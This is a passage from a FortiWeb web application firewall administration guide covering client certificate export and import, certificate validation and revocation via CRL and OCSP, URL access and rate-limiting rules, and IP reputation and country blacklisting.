Transmit and store any private key backups securely, just as you would for passwords. Failure to store them securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See "[Revoking certificates](#)" on page 308.

9. Click *Next*.

The *Export File Format* step appears.




10. Select *Personal Information Exchange - PKCS #12 (.PFX)* as the file format.

11. If you need to absolutely guarantee identity (i.e. not even you, the administrator, will have the end-user's private key installed — only the end-user will), mark the check box named *Delete the private key if the export is successful*.

For improved performance, do **not** include all CA certificates from the personal certificate's certification path (i.e. the chain of trust or signing chain). Including the signing chain increases the size of the certificate, which slightly increases the amount of time and traffic volume required to transmit the certificate each time to FortiWeb. Instead, upload those CAs' certificates to the FortiWeb appliance (see "[Uploading trusted CAs' certificates](#)" on [page 270](#)).

12. Click *Next*.


The *Password* step appears.

A screenshot of the 'Certificate Export Wizard' dialog box, specifically the 'Password' step. The window has a title bar with 'Certificate Export Wizard' and a close button. The main content area is titled 'Password' and contains the text 'To maintain security, you must protect the private key by using a password.' Below this, it says 'Type and confirm a password.' There are two input fields: the first is labeled 'Password:' and contains ten black dots; the second is labeled 'Type and confirm password (mandatory):' and contains ten black dots with a cursor at the end. At the bottom right, there are three buttons: '< Back', 'Next >' (which is highlighted with a blue border), and 'Cancel'.

13. Enter and confirm the spelling of the password that will be used to password-protect and encrypt the exported certificate and its private key.

14. Click *Next*.

The *File to Export* step appears.



15. In *File name*, enter a unique file name for the certificate, then click *Browse* to specify the location where you want to save the exported certificate and private key.

Use a consistent naming convention. This will minimize the likelihood that you confuse one person's private key with another's, deliver it to the wrong person, and therefore need to revoke the corresponding certificate and generate a new one.

16. Click *Finish* to export the certificate and private key.

The certificate and private key are exported in a single file with a .pfx file extension to the location specified in step 15.

If the export is successful, a notice appears.

17. Click *OK*.

18. Securely transmit both the .pfx file and its password to the end-user, along with instructions on how to install the certificate in his or her web browser's trust store.



Only provide the client's private key to that specific client, and transmit and store any backups securely, just as you would for passwords. Failure to store it securely and restrict the private key solely to its intended end-user could allow others to authenticate as that person, compromising the security of your web sites. In the event of potential private key compromise, immediately revoke the corresponding personal certificate. See ["Revoking certificates" on page 308](#).

For example, you could give him or her a USB key in person and instruct the end-user to double-click the file, or install the .pfx in a Microsoft Active Directory roaming profile. See also ["Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7" on page 297](#).

Example: Downloading the CA's certificate from Microsoft Windows 2003 Server

If you are generated and signed your end-users' personal certificates using Microsoft Certificate Services on Microsoft Windows 2003 or 2008 Server, you must download the CA's certificate and provide it to the FortiWeb appliance so that it will be able to verify the CA signature on each personal certificate.

To download a CA certificate from Microsoft Windows 2003 Server


1. On your management computer, start your web browser.
2. Go to:

`https://<ca-server_ipv4>/certsrv/`

where `<ca-server_ipv4>` is the IP address of your CA server.


3. Log in as Administrator.

Other accounts may not have sufficient privileges. The *Microsoft Certificate Services* home page for your server's CA should appear.



4. Click the *Download CA certificate, certificate chain, or CRL* link.

The *Download a CA Certificate, Certificate Chain, or CRL* page appears.



5. From *Encoding Method*, select *Base64*.
6. Click *Download CA certificate*.

7. If your browser prompts you, select a location to save the CA's certificate file.

Example: Importing the personal certificate & private key to a client's trust store on Microsoft Windows 7

If you need to import one or two certificates to a person's computer on his or her behalf, you can manually import the .pfx file.



If you are importing a clients' personal certificates to their computers on their behalf, for mass distribution, it may save you time to instead deploy certificates via a script or, if the computer is a member of a Microsoft Active Directory domain, a login script or roaming profile.



To harden security, you should also make sure that the browser's settings are configured to check servers' certificates (such as FortiWeb's) with a CRL or OCSP server in case the servers' certificates become compromised, and must be revoked.


Methods for importing a certificate to the trust store vary by the client's browser and operating system. In this section are methods for some popular browsers. For other browsers and operating systems, consult the client's browser documentation.

To import a client certificate into Microsoft Windows 7

1. Start Microsoft Internet Explorer 9.

Alternatively, if you have a .pfx file, double-click it to open the wizard, then skip to step 6.


2. Go to *Tools* [gear icon] > *Internet options*.
The *Internet Options* dialog window appears.



3. Click the *Content* tab.

4. Click the *Certificates* button.

The Windows *Certificates* store dialog window appears. By default, the *Personal* tab is front most.




5. Click *Import*.

The *Certificate Import Wizard* appears.

6. Click *Next*.

The *File to Import* step appears.




7. If you double-clicked the certificate and private key file to start the wizard, the file is already specified in *File name*.

Otherwise, click *Browse*. Go to the location where you downloaded the personal certificate. From *Files of type*, select *Personal Information Exchange (*.pfx, *.p12)*, *All Files (*.*)*, or whatever file format was used to export the certificate. Finally, select the certificate file, and click *Open*.

8. Click *Next*.

The *Password* step appears.




The image shows a screenshot of the 'Certificate Import Wizard' window, specifically the 'Password' step. The window has a title bar with the text 'Certificate Import Wizard' and a close button. The main content area is titled 'Password' and contains the following text: 'To maintain security, the private key was protected with a password.' Below this, it says 'Type the password for the private key.' There is a text box labeled 'Password:' with a password mask (dots). Below the text box are three checkboxes: 'Enable strong private key protection. You will be prompted every time the private key is used by an application if you enable this option.' (unchecked), 'Mark this key as exportable. This will allow you to back up or transport your keys at a later time.' (unchecked), and 'Include all extended properties.' (checked). At the bottom left, there is a link that says 'Learn more about [protecting private keys](#)'. At the bottom right, there are three buttons: '< Back', 'Next >', and 'Cancel'.

9. In *Password*, type the password that was used to secure the private key. (If the certificate was made on your behalf by an administrator, this is the password that the administrator used when exporting your .pfx file. He or she must provide this password to you.)

10. Click *Next*.

The *Certificate Store* step appears.



11. Select either:

- *Automatically select the certificate store based on the type of certificate* — Your personal certificate will automatically be placed in the default personal certificate store, as long as it was created correctly.
- *Place all certificates in the following store* — Click the *Browse* button to manually indicate your personal certificate store.

12. Click *Next*.


13. Click *Finish*.

If the import is successful, a notification appears.

14. Click *OK*.

The certificate and private key are now imported to the store of certificates specified in step 11, which should be the personal certificate store. The person's browser should now be able to present his or her personal certificate whenever a server requires PKI authentication.

15. Click the *Advanced* tab.



16. In the *Settings* area, scroll down to the *Security* settings.

17. Enable *Check for server certificate revocation*.

18. Click *OK* to save your settings and close the *Internet Options* dialog window.

19. Close Internet Explorer.




The *Check for server certificate revocation* option will not take effect until you restart the browser.

To import a client certificate into Google Chrome on Microsoft Windows 7

1. Start Google Chrome.
2. Click the wrench icon in the top right (*Customize and control Google Chrome*), then select *Settings...* from the drop-down menu that appears. (On Mac OS X, this option is named *Preferences* instead.)

The dialog for configuring Google Chrome settings appears. On the left hand navigation menu, the *Settings* section is selected.


3. At the bottom of the page, click *Show advanced settings* to reveal additional settings, including, towards the bottom of the page, *HTTP/SSL*.



4. In the *HTTPS/SSL* area, enable *Check for certificate revocation*.
5. Click the *Manage certificates* button.

The Windows *Certificates* store dialog window appears. (In Mac OS X, this is the Keychain Access application instead.) By default, the *Personal* tab is front most. Continue with step 5 in “To import a client certificate into Microsoft Windows 7” on page 297.

Figure 41:Importing a personal certificate in Google Chrome — [Wrench icon] > Options > Under the Hood, click Manage Certificates, then click Import



Uploading the CA's certificate to FortiWeb's trusted CA store

In order for FortiWeb to be able to verify the CA's signature on client's personal certificates when they connect, the CA's certificate must exist in the FortiWeb's trusted CA certificate store.

You must either:

- upload the certificates of the signing CA and all intermediary CAs to FortiWeb's store of CA certificates (see [“Uploading trusted CAs' certificates” on page 270](#))
- in **all** personal certificates, include the full signing chain up to a CA that FortiWeb knows in order to prove that the clients' certificates should be trusted



To harden security, configure FortiWeb with an OCSP server or regularly update its CRL file in order to immediately revoke a CA's certificate if has been compromised. See [“Revoking certificates” on page 308](#).

Configuring FortiWeb to validate client certificates

To be valid, a client certificate must:

- not be expired or not yet valid
- not be revoked by either certificate revocation list (CRL) or, if enabled, online certificate status protocol (OCSP)
- be signed by a certificate authority (CA) whose certificate you have imported into the FortiWeb appliance (see [“Uploading trusted CAs’ certificates” on page 270](#));
- contain a `CA` field whose value matches a CA’s certificate
- contain an `Issuer` field whose value matches the `Subject` field in a CA’s certificate

If the client presents an invalid certificate during PKI authentication for HTTPS, the FortiWeb appliance will not allow the connection.

Certificate validation rules (in the web UI, these are called certificate verification rules) tell FortiWeb which set of CA certificates to use when validating personal certificates. They also specify a CRL and/or OCSP server, if any, if the client’s certificate must be checked for revocation.

To configure a certificate validation rule

1. Before you can configure a certificate validation rule, you must first configure a CA group (see [“Grouping trusted CAs’ certificates” on page 272](#)). You may also need to configure:
 - OCSP (see [“Revoking certificates by OCSP query” on page 309](#))
 - upload a CRL file (see [“Revoking certificates” on page 308](#))

if you need to explicitly revoke some invalid or compromised certificates.


2. Go to *System > Certificates > Certificate Verify*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).

3. Click *Create New*.

A dialog appears.

4. Configure these settings:

A screenshot of the 'New Certificate Verify' dialog box. It has a title bar 'New Certificate Verify'. Inside, there are four labels: 'Name', 'CA Group', 'OCSP', and 'CRL'. Each label is followed by a text input field or a dropdown menu. The 'Name' field is empty. The 'CA Group', 'OCSP', and 'CRL' fields show '[Please Select]' with a downward arrow. At the bottom, there are two buttons: 'OK' and 'Cancel'.


Setting name	Description
Name	Type a name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
CA Group	Select the name of an existing CA group that you want to use to authenticate client certificates. See “Grouping trusted CAs’ certificates” on page 272 .

Setting name	Description
OCSP	Select the name of an existing online certificate status protocol (OCSP) certificate, if any, that you want to use to verify the revocation status of client certificates. See “Revoking certificates by OCSP query” on page 309 .
CRL	Select the name of an existing certificate revocation list, if any, to use to verify the revocation status of client certificates. See “Revoking certificates” on page 308 .

- Click OK.
- To apply a certificate verification rule, select it in [Certificate Verification](#) in a server policy or server farm that includes HTTPS service. For details, see [“Configuring a server policy” on page 470](#) or [“Grouping your web servers into server farms” on page 246](#).

When a client connects to the web site, after FortiWeb presents its own server certificate, it will request one from the client. The web browser should display a prompt, allowing the person to indicate which personal certificate he or she wants to present.

Figure 42: A personal certificate prompt in Microsoft Internet Explorer 9



If the connection fails when you have selected a certificate verifier, verify that the certificate meets the web browser's requirements. Web browsers may have their own certificate validation requirements in addition to FortiWeb's requirements. For example, personal certificates for client authentication may be required to either:

- not be restricted in usage/purpose by the CA, or
- contain a `Key Usage` field that contains a `Digital Signature` or have a `ExtendedKeyUsage` or `EnhancedKeyUsage` field whose value contains `Client Authentication`

If the certificate does **not** satisfy browser requirements, although it may be installed in the client's store, when the FortiWeb appliance requests the client's certificate, the browser may not present a certificate selection dialog to the user, or the dialog may not contain that certificate. In that case, verification will fail.

For browser requirements, see your web browser's documentation.

When a PKI authentication attempt fails, if you have enabled logging, attack log messages will be recorded. Messages vary by the cause of the error. Common messages are:

X509 Error 20 - Issuer certificate could not be found (FortiWeb does not have the certificate of the CA that signed the personal certificate, and therefore cannot verify the personal certificate; see [“Uploading trusted CAs’ certificates” on page 270](#))

X509 Error 52 - Get client certificate failed (the client did not present its personal certificate to FortiWeb, which could be caused by the client not having its personal certificate properly installed; see [“How to apply PKI client authentication \(personal certificates\)” on page 283](#))

X509 Error 53 - Protocol error (various causes, but could be due to the client and FortiWeb having no mutually understood cipher suite or protocol version during the SSL/TLS handshake)

For more logs, see the [FortiWeb Log Reference](#).

See also

- [How to apply PKI client authentication \(personal certificates\)](#)
- [Configuring a server policy](#)
- [How to offload or inspect HTTPS](#)
- [Uploading trusted CAs’ certificates](#)
- [Revoking certificates by OCSP query](#)
- [Revoking certificates](#)

Revoking certificates

To ensure that your FortiWeb appliance validates only certificates that have not been revoked, you should periodically upload a current certificate revocation list (CRL), which may be provided by certificate authorities (CA).



Alternatively, you can use HTTP or online certificate status protocol (OCSP) to query for certificate status. For more information, see [“Revoking certificates by OCSP query” on page 309](#).

To view or upload a CRL file

1. Go to *System > Certificates > CRL*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).

2. To upload a CRL file, click *Import*.

A dialog appears.

The screenshot shows a dialog box titled "Import CRL". It contains three radio buttons: "HTTP" (which is selected), "SCEP", and "Local PC". Each radio button is followed by a text input field. The "HTTP" field has a placeholder text "(URL of the HTTP server)". The "SCEP" field has a placeholder text "(URL of the SCEP server)". The "Local PC" field has a "Browse..." button next to it. At the bottom of the dialog are two buttons: "OK" and "Cancel".

3. Do one of the following to locate a CRL file:
 - Select *HTTP*, then enter the URL of an HTTP site providing a CRL service.
 - Select *SCEP*, then enter the URL of the applicable Simple Certificate Enrollment Protocol server. (SCEP allows routers and other intermediate network devices to obtain certificates.)
 - Select *Local PC*, then browse to locate a certificate file.
4. Click *OK*.
The imported CRL file appears on *System > Certificates > CRL* with a name automatically assigned by the FortiWeb appliance, such as *CRL_1*.
5. To use the CRL for client PKI authentication, select the CRL in a certificate verification rule (see [“Configuring FortiWeb to validate client certificates” on page 306](#)).

See also

- [Revoking certificates by OCSP query](#)

Revoking certificates by OCSP query

Online certificate status protocol (OCSP) enables you to revoke or validate certificates by query, rather than by importing certificate revocation list (CRL) files. Since distributing and installing CRL files can be a considerable burden in large organizations, and because delay between the release and install of the CRL represents a vulnerability window, this can often be preferable.

To use OCSP queries, you must first install the certificates of trusted OCSP/CRL servers.

To view or upload a remote certificate

1. Go to *System > Certificates > Remote*.
You can click *View Certificate Detail* to view the selected certificate's subject, range of dates within which the certificate is valid, version number, serial number, and extensions.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Admin Users* category. For details, see [“Permissions” on page 46](#).
2. To upload a file, click *Import*.
A dialog appears.

3. Click *Browse* and locate an OCSP-compatible certificate file.
4. Click *Open* on the browse window to select the file.
5. Click *OK*.
6. Select OCSP when configuring a certificate verification rule (see [“Configuring FortiWeb to validate client certificates” on page 306](#)).

See also

- [How to offload or inspect HTTPS](#)
- [Revoking certificates](#)

How to export/back up certificates & private keys

Because your X.509 certificates are vital for FortiWeb to protect HTTPS transactions, when preparing a full FortiWeb backup, **make sure that your certificates are included**. Should FortiWeb experience hardware failure, this will minimize time required for you to reconfigure a replacement appliance.



To further guarantee service uptime from the perspective of your clients, deploy your FortiWeb in HA. See [“Configuring a high availability \(HA\) FortiWeb cluster” on page 95](#).

Certificates and their private keys are **not** included when performing a manual backup from the web UI. Instead, you **must** back up via either:

- the CLI to a TFTP server (see [“To back up the configuration via the CLI to a TFTP server” on page 207](#))
- a scheduled periodic upload to an FTP server, configurable from the web UI or CLI (see [“To back up the configuration via the web UI to an FTP/SFTP server” on page 206](#))

Access control

You can control clients' access to your web applications and limit the rate of requests. There are multiple ways to do this, depending on whether your goal is to act based upon the URL, the client's source IP, or something more complex.

See also

- [Sequence of scans](#)
- [Preventing brute force logins](#)
- [Enforcing page order that follows application logic](#)
- [Specifying URLs allowed to initiate sessions](#)
- [Specifying allowed HTTP methods](#)

Restricting access to specific URLs

You can configure rules to define which HTTP requests will be accepted or denied based upon their `Host`: name and URL, as well as the origin of the request.

Typically, for example, access to administrative panels for your web application should **only** be allowed if the client's source IP address is an administrator's computer on your private management network. Unauthenticated access from unknown locations increases risk of compromise. Best practice dictates that such risk should be minimized.



X-header-derived client source IPs (see [“Defining your proxies, clients, & X-headers” on page 256](#)) do **not** support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.



URL access rules are evaluated **after** some other rules. As a result, permitted access still could be denied if it violates one of the rules that execute prior in the sequence. For details, see [“Sequence of scans” on page 21](#).

You can use SNMP traps to notify you when a URL access rule is enforced. For details, see [“SNMP traps & queries” on page 567](#).

To configure an URL access rule

1. Go to *Web Protection > Access > URL Access Rule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:

Edit URL Access Rule

Name: URL-Access2

Host Status: ☒

Host: 172.20.120.27

Action: Alert & Deny

Severity: Low

Trigger Policy: email-trig-policy1

OK Cancel

Create New

URL Access Condition Table

ID	URL Type	URL Pattern	Object
1	Simple String	/index.*	match this condition

Clear all Edit Delete

Setting name

Description

Name Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

Host Status Enable to require that the `Host` : field of the HTTP request match a protected hosts entry in order to match the URL access rule. Also configure [Host](#).

Host Select which protected hosts entry (either a web host name or IP address) that the `Host` : field of the HTTP request must be in to match the URL access rule.

This option is available only if [Host Status](#) is enabled.

Action Select which action the FortiWeb appliance will take when it detects a violation of the rule. Supported options vary (available options are listed in the description for each specific rule), but may include:

- **Alert & Deny** — Block the request (reset the connection) and generate an alert email and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See [“Uploading a custom error page” on page 454](#) or [Error Message](#).
- **Pass** — Allow the request. Do **not** generate an alert and/or log message.
- **Continue** — Generate an alert and/or log message, then continue by evaluating any subsequent rules defined in the web protection profile (see [“Sequence of scans” on page 21](#)). If no other rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages.

The default value is *Alert*.

Caution: This setting will be ignored if [Monitor Mode](#) is enabled.

Note: Logging and/or alert email will occur only if enabled and configured. See [“Logging” on page 529](#) and [“Alert email” on page 563](#).

Note: If you will use this rule set with auto-learning, you should select *Pass* or *Continue*. If [Action](#) is *Alert & Deny*, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Setting name	Description
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<code>severity_level</code>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544.

4. Click *OK*.
5. Click *Create New* to add an entry to the set.
A dialog appears.
6. Configure these settings:

Setting name	Description
ID	Type the index number of the individual rule within the URL access rule, or keep the field's default value of <i>auto</i> to let the FortiWeb appliance automatically assign the next available index number.
Source Address	Enable to add the client's source IP address as a criteria for matching the URL access rule. Also configure Source Address Type and either IP or Domain .
Source Address Type	Select how you want to define matching client source IPs, by either: • IP — Configure IP. • Domain — Configure Domain.
IP	Type the single IP address that a client source IP must match, such as a trusted private network IP address (e.g. an administrator's computer, 172.16.1.20). (Subnets and/or IP address ranges are not currently supported.) This option appears only if Source Address Type is <i>IP</i>.

- Domain** Type the fully qualified domain name (FQDN) that a client source IP must reverse resolve to in order to match.
- This option appears only if *Source Address Type* is *Domain*.
- URL Type** Select whether the *URL Pattern* field will contain a literal URL (*Simple String*), or a regular expression designed to match multiple URLs (*Regular Expression*).
- URL Pattern** Depending on your selection in *URL Type*, enter either:
- the literal URL, such as `/admin.php`. The URL must begin with a slash (/).
 - a regular expression, such as `^/admin*.php`, matching all and only the desired URLs. The pattern does not require a slash (/). However, it must at least match URLs that begin with a slash, such as `/admin.cfm`. When you finish typing the regular expression, click the >> (test) icon. This opens the *Regular Expression Validator* window where you can fine-tune the expression (see “[Regular expression syntax](#)” on page 658).
- Do not include the domain name, such as `www.example.com`, which is configured separately in the *Host* drop-down list for the URL access rule.
- Meet this condition if:** Select whether the access condition is met when the HTTP request matches both the regular expression (or text string) **and** source IP address of the client, or when it does **not** match the regular expression (or text string) and/or source IP address of the client.

- Click **OK**.
- Repeat the previous steps for each individual condition that you want to add to the URL access rule.
- Group the URL access rule in a URL access policy (see “[Grouping access rules per combination of URL & “Host:”](#)” on page 314).

Attack log messages contain `URL Access Violation` when this feature detects a suspicious HTTP request.

See also

- [Configuring a protection profile for inline topologies](#)
- [Configuring a protection profile for an out-of-band topology or asynchronous mode of operation](#)

Grouping access rules per combination of URL & “Host:”

Before you can apply them in a policy via a protection profile, you must first combine access rules into an access policy. URL access policies define a set of access rules, and their order of evaluation.

To configure a URL access policy

- Before you can configure an effective URL access policy, you must configure one or more URL access rules. See “[Restricting access to specific URLs](#)” on page 311.
- Go to *Web Protection > Access > URL Access Policy*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see “[Permissions](#)” on page 46.

3. Click *Create New*.

A dialog appears.

ID	Priority	Access Rule Name
1	2	url-access-rule1
2	1	url-access-rule2

Click to switch ascending/descending sort order

Click to sort by this column

Clear all

Edit

Delete

4. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click *OK*.
6. Click *Create New* to add an entry to the set.

A dialog appears.

ID: auto

Priority: 2

Access Rule Name: Please Select

[Detail...](#)

OK Cancel

7. In *Priority*, enter the priority for this rule in relation to other defined rules. Rules with lower numbers (higher priority) are applied first.
8. From the *Access Rule Name* drop-down list, select the name of a URL access rule to include in the policy.
To view or change the information associated with the rule, select the *Detail* link. The *URL Access Rule* dialog appears. Use the browser *Back* button to return.
9. Click *OK*.
10. Repeat the previous steps for each individual rule that you want to add to the URL access policy.
11. To apply the URL access policy, select it in an inline or offline protection profile (see [“Configuring a protection profile for inline topologies”](#) on page 456 or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation”](#) on page 464).

Combination access control & rate limiting

What if you want to allow a web crawler, but only if it is not too demanding, and comes from a source IP that is known to be legitimate for that crawler? What if you want to allow only a client that is a senior manager’s IP, and only if it hasn’t been infected by malware whose access rate is contributing to a DoS?

Advanced access control rules provide a degree of flexibility for these types of complex conditions. You can combine any or all of these criteria:

- source IP
- rate limit
- HTTP header
- URL

In the rule, add all criteria that you require allowed traffic to match.



X-header-derived client source IPs (see [“Defining your proxies, clients, & X-headers” on page 256](#)) do **not** support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.

To configure an advanced access control rule

1. Go to *Web Protection > Advanced Protection > Custom Rule*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Web Protection Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. Configure these settings:

Edit Custom Access Rule

Name

Action

Block Period

Severity

Trigger Action

Period Block ▼

(1~3600)(Seconds)

High ▼

notification-servers1 ▼

OK Cancel

Create New

ID	Filter Type	Value	
1	URL	/admin	
2	Source IP Address	172.20.120.49	
3	HTTP Header	X-Handshake	
4	HTTP Access Limit	20	

Setting name	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Action	Select which action the FortiWeb appliance will take when it detects a violation of the rule: Alert — Accept the request and generate an alert email and/or log message. Alert & Deny — Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. Period Block — Block subsequent requests from the client for a number of seconds. Also configure Block Period. You can customize the web page that will be returned to the client with the HTTP status code. See “Uploading a custom error page” on page 454 or Error Message. The default value is <i>Alert</i>. Caution: This setting will be ignored if Monitor Mode is enabled. Note: Logging and/or alert email will occur only if enabled and configured. See “Logging” on page 529 and “Alert email” on page 563. Note: If you will use this rule set with auto-learning, you should select <i>Alert</i>. If Action is <i>Alert & Deny</i>, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.

Setting name	Description
Block Period	Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule. This setting is available only if <i>Action</i> is set to <i>Period Block</i> . The valid range is from 1 to 3,600 (1 hour). The default value is 60. See also “Monitoring currently blocked IPs” on page 591 .
Severity	When rule violations are recorded in the attack log, each log message contains a <i>Severity Level</i> (<i>severity_level</i>) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule: • Low • Medium • High The default value is <i>High</i>.
Trigger Action	Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See “Configuring triggers” on page 544 .

4. Click *OK*.

5. Click *Create New* to add an entry to the set.

A dialog appears.

6. From *Filter Type*, select one of the following conditions that a request must match in order to be allowed, then click *OK*.

The settings in the next dialog that appears varies by your selection in *Filter Type*.

- *Source IP* — Type the IP address of a client that will be allowed. Depending on your configuration of how FortiWeb will derive the client’s IP (see [“Defining your proxies, clients, & X-headers” on page 256](#)), this may be the IP address that is indicated in an HTTP header rather than the IP header.
- *HTTP Access Rate Limit* — This is the number of requests per second per client IP. Depending on your configuration of how FortiWeb will derive the client’s IP (see [“Defining your proxies, clients, & X-headers” on page 256](#)), this may be the IP address that is indicated in an HTTP header rather than the IP header.
- *URL* — Type a regular expression that will match one or more URLs, such as `/index\.jsp`. Do not include the host name.



To accept requests that do **not** match the URL, do **not** precede the URL with an exclamation mark (!). Use the CLI to configure the `reverse-match {no | yes}` setting for this filter. For details, see the [FortiWeb CLI Reference](#).

- *HTTP Header* — Define a single HTTP header, and all **or** part of its value. The request/response will match the condition if its header **contains** your exact value. Value matching is **case sensitive**. (If you require a filter based upon more than one HTTP header, create multiple entries in the set, one for each HTTP header.)



To prevent accidental matches, specify as much of the header’s value as possible. Do not use an ambiguous substring.

For example, entering the value `192.168.1.1` would **also** match the IPs 192.168.10-19 and 192.168.100-199. This result is probably unintended. The better solution would be to configure a *Source IP* condition instead.

7. Click *OK* to exit the sub-dialog and return to the rule configuration.
8. Repeat the previous steps for each individual criteria that you want to add to the access rule. You could, for example, require both a matching request URL, HTTP header, and client source IP in order to allow a request.
9. Click *OK* to save the rule.
10. Go to *Web Protection > Advanced Protection > Custom Policy*.
11. Click *Create New*. Group the advanced access rules into a policy.
For example, to create a policy that allows rate-limited access by 3 client IPs, you would group the corresponding 3 advanced access rules for each of those IPs into the policy.
In *Priority*, enter the priority for each rule in relation to other defined rules. Rules with lower numbers (higher priority) are applied first.
12. To apply the advanced access policy, select it as the *Custom Access* in a protection profile (see [“Configuring a protection profile for inline topologies”](#) on page 456 or [“Configuring a protection profile for an out-of-band topology or asynchronous mode of operation”](#) on page 464).
Attack log messages contain `Custom Access Violation` when this feature detects an unauthorized access attempt.

Blacklisting & whitelisting clients

You can block requests from clients based upon their source IP address directly, their current reputation known to FortiGuard, or which country or region the IP address is associated with.

Conversely, you can also exempt clients from scans typically included by the policy.

Blacklisting source IPs with poor reputation

Manually identifying and blocking all known attackers in the world would be an impossible task. To block:

- botnets
- spammers
- phishers
- malicious spiders/crawlers
- virus-infected clients
- clients using anonymizing proxies
- DDoS participants

you can configure FortiWeb to use the FortiGuard IP Reputation. IP reputation leverages many techniques for accurate, early, and frequently updated identification of compromised and malicious clients



so you can block attackers **before** they target your servers. Data about dangerous clients derives from many sources around the globe, including:

- FortiGuard service statistics
- honeypots
- botnet forensic analysis
- anonymizing proxies
- 3rd-party sources in the security community

From these sources, Fortinet compiles a reputation for each public IP address. Clients will have poor reputations if they have been participating in attacks, willingly or otherwise. Because blacklisting innocent clients is equally undesirable, Fortinet also restores the reputations of clients that improve their behavior. This is crucial when an infected computer is cleaned, or in DHCP or PPPoE pools where an innocent client receives an IP address that was previously leased by an attacker.



Because IP reputation data is based on evidence of hostility rather than a client's current physical location on the globe, if your goal is to block attackers rather than restrict delivery, this feature may be preferable.

IP reputation knowledge is regularly updated if you have subscribed and connected your FortiWeb to the FortiGuard IP Reputation service (see [“Connecting to FortiGuard services” on page 132](#)). Due to this, new options will periodically appear. You can monitor the [FortiGuard web site feed](#) for security advisories which may correlate with new IP reputation-related options.



Because geographical IP policies are evaluated before many other techniques, defining these IP addresses can be used to improve performance. For details, see [“Sequence of scans” on page 21](#).



X-header-derived client source IPs (see [“Defining your proxies, clients, & X-headers” on page 256](#)) do **not** support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work.

To configure the policy

1. If you need to exempt some clients' public IP addresses due to possible false positives, configure IP reputation exemptions first. Go to *IP Intelligence > IP Intelligence > Exceptions*.
2. Go to *IP Reputation > IP Reputation > Policy*.

Edit IP Reputation Policy						
Category	Status	Action	Block Period	Severity	Trigger Action	
Botnet	☒	Period Block	60	Low	Please Select	
Anonymous Proxy	☒	Send 403 Forbidde	60	Low	Please Select	
Phishing	☒	Period Block	60	Low	Please Select	
Spam	☒	Alert	60	Low	Please Select	
Others	☒	Alert	60	Low	Please Select	

Apply

3. In the *Status* column, enable categories of disreputable clients that you want to block and/or log.



APTs often mask their source IP using anonymizing proxies. While casual attackers will move on to easier potential targets if their initial attempts fail, APTs are motivated to persist until they achieve a successful breach. Early warning can be critical. Therefore even if some innocent anonymous clients use your web servers and you do not want to block them, you still may want to log proxied anonymous requests. Filtering your other attack logs by these anonymous IPs can help you to locate and focus on dangerous requests from these IPs, whether you want to use them to configure a defense, for law enforcement, or for forensic analysis.

4. Similar to configuring attack signatures, also configure *Action*, *Block Period*, *Severity*, and *Trigger Action*.
5. Click *Apply*.
6. To apply your IP reputation policy, enable *IP Reputation* in a protection profile that is used by a policy (see “Configuring a protection profile for inline topologies” on page 456 or “Configuring a protection profile for an out-of-band topology or asynchronous mode of operation” on page 464).

Attack log messages contain Anonymous Proxy : IP Reputation Violation or Botnet : IP Reputation Violation when this feature detects a possible attack.

See also

- [Predefined suspicious request URLs](#)
- [Configuring an auto-learning profile](#)
- [Recognizing data types](#)
- [Connecting to FortiGuard services](#)
- [How often does Fortinet provide FortiGuard updates for FortiWeb?](#)

Blacklisting countries & regions

While many web sites are truly global in nature, others are specific to a region. Government web applications that provide services only to its residents are one example.

In such cases, when requests **appear** to originate from other parts of the world, it may not be worth the security risk to accept them.

- DDoS botnets and mercenary hackers might be the predominant traffic source.
- Anonymizing VPN services or Tor may have been used to mask the true source IP of an attacker that is actually within your own country.



Blacklisting clients individually in this case would be time-consuming and difficult to maintain due to PPPoE or other dynamic allocations of public IP addresses, and IP blocks that are re-used by innocent clients.

If you want to block traffic from many IP addresses that are currently known to belong to networks in other regions, FortiWeb can help you to do so. It uses a

[MaxMind GeoLite](#) database of mappings between geographical regions and all public IP addresses that are known to originate from them.



